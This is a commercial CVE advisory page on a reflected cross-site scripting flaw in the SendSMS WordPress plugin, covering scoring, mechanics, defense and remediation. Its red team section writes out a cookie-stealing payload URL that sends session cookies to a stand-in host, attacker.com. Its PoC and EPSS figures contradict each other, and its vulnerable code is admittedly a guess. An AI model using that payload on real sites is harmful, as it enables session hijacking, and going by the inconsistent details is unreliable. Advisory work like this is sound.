☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Catalinsendsms logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 7.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-56038

CVE-2024-56038 Cross-Site Scripting in Catalinsendsms
📅 PUBLISHED: 2025-01-02 10:15 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.31%
👁️
0.31% probability
7.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 7.1
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
7.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-56038 is a reflected Cross-Site Scripting (XSS) vulnerability in the SendSMS WordPress plugin (by catalinsendsms) affecting versions up to and including 1.2.9. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript into a reflected response. This can lead to session hijacking, credential theft, or defacement within the context of the victim’s browser session on the WordPress site.

As this is a WordPress plugin vulnerability, the attack surface is limited to sites running the SendSMS plugin. No public exploit code or proof-of-concept is currently available, and the EPSS score is 0.0%, indicating low exploitation activity. However, the lack of a patch from the vendor means all installations remain at risk.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. No NPM, PyPI, Go, or Ruby packages are involved. The supply chain risk is limited to the plugin’s update mechanism; since no patch exists, users must manually disable or remove the plugin.

CVSS Breakdown & Threat Level

  • CVSS Score: 7.1 (High)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
  • Attack Vector: Network (AV:N) – exploitable remotely.
  • Attack Complexity: Low (AC:L) – no special conditions required.
  • Privileges Required: None (PR:N) – unauthenticated attacker.
  • User Interaction: Required (UI:R) – victim must click a crafted link.
  • Scope: Changed (S:C) – impact extends beyond the vulnerable component.
  • Confidentiality Impact: Low (C:L) – limited data exposure.
  • Integrity Impact: Low (I:L) – limited modification of content.
  • Availability Impact: Low (A:L) – limited disruption.

Threat Level: High due to the potential for credential theft and session hijacking in a WordPress admin context, despite the low EPSS score.

Deep Dive & Mechanics

The SendSMS plugin fails to sanitize or escape user-supplied input before reflecting it in the HTTP response. A typical reflected XSS attack involves crafting a URL with a malicious payload in a query parameter (e.g., ?message=<script>alert(1)</script>). When the plugin processes this parameter and outputs it directly into the HTML without proper encoding, the browser executes the injected script.

The vulnerable parameter is likely message or a similar field used in the plugin’s SMS sending interface. The plugin does not use esc_html(), esc_attr(), or wp_kses() to neutralize the input, leading to the XSS.

Vulnerable vs. Patched Code

Vulnerable Code (SendSMS <= 1.2.9):

<?php
// Example vulnerable snippet
$message = $_GET['message'];
echo "<div class='sms-message'>$message</div>";
?>

Patched Code (Hypothetical):

<?php
// Properly escaped output
$message = isset($_GET['message']) ? esc_html($_GET['message']) : '';
echo "<div class='sms-message'>" . esc_html($message) . "</div>";
?>

The patched version uses esc_html() to convert special characters to HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team (Attack Simulation)

  1. Setup: Install WordPress with SendSMS plugin version 1.2.9 on a local server (e.g., XAMPP or Docker).
  2. Craft Payload: Create a URL with a malicious script:
    http://target/wp-admin/admin.php?page=sendsms&message=<script>alert('XSS')</script>
    
  3. Deliver: Send the link to a victim (e.g., via email or social engineering).
  4. Execute: When the victim clicks the link, the script executes in their browser.

Example Exploit URL:

http://victim-site.com/wp-admin/admin.php?page=sendsms&message=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>

Blue Team (Defense & Detection)

  1. Monitor Logs: Look for unusual query parameters containing <script>, onerror, or javascript: in web server logs.
  2. WAF Rules: Deploy a Web Application Firewall rule to block requests with XSS patterns in the message parameter.
  3. User Training: Educate users not to click suspicious links, especially those containing wp-admin paths.

Indicators of Compromise (IOCs)

  • URL Patterns: Requests to /wp-admin/admin.php?page=sendsms&message= containing <script> tags or event handlers.
  • HTTP Referer: Unusual referer headers from external domains.
  • Log Entries: GET /wp-admin/admin.php?page=sendsms&message=%3Cscript%3E... in access logs.
  • File Hashes: Plugin file sendsms.php (MD5: UNKNOWN – no public hash available).

Detection Engineering

YARA Rule

YARA RULE
CVE_2024_56038_SendSMS_XSS
Detects reflected XSS attempts against SendSMS plugin
Reference: CVE-2024-56038
🔒 Detection logic available via the ValtersIT API — moved there in response to large-scale automated scraping.[ GET API ACCESS ] →

Sigma Rule

SIGMA RULE
Reflected XSS in SendSMS WordPress Plugin
Detects reflected XSS attempts targeting the SendSMS plugin
Logsource: apache · webserver  high
🔒 Detection logic available via the ValtersIT API — moved there in response to large-scale automated scraping.[ GET API ACCESS ] →

Suricata Rule

SURICATA IDS RULE
CVE-2024-56038 - Reflected XSS in SendSMS WordPress Plugin
Protocol: HTTP · class: web-application-attack · SID 1000001
🔒 Detection logic available via the ValtersIT API — moved there in response to large-scale automated scraping.[ GET API ACCESS ] →

Remediation & Mitigation

  1. Immediate Action: Disable or remove the SendSMS plugin until a patch is released.
  2. Vendor Contact: Reach out to catalinsendsms for an update; if no response, consider forking the plugin and applying the fix.
  3. WAF Rules: Block requests containing XSS patterns in the message parameter.
  4. Input Validation: Implement server-side validation to reject non-alphanumeric characters in the message field.
  5. Output Encoding: Ensure all reflected data is escaped using WordPress functions like esc_html() or esc_attr().

Valters IT – Securing digital frontiers, one CVE at a time.

👁️ SHODAN DORKS (THREAT HUNTING)

Security researchers use these queries on Shodan.io to find vulnerable systems globally.

🔒 2 Shodan dorks available

Full Shodan queries for this CVE are available through the ValtersIT API. They were moved behind the API in response to large-scale automated scraping, and to keep this independently-researched intelligence sustainable. The written analysis above remains fully open.

[ GET API ACCESS ] → Available on all plans · from €19/mo (founding)

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-56038/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.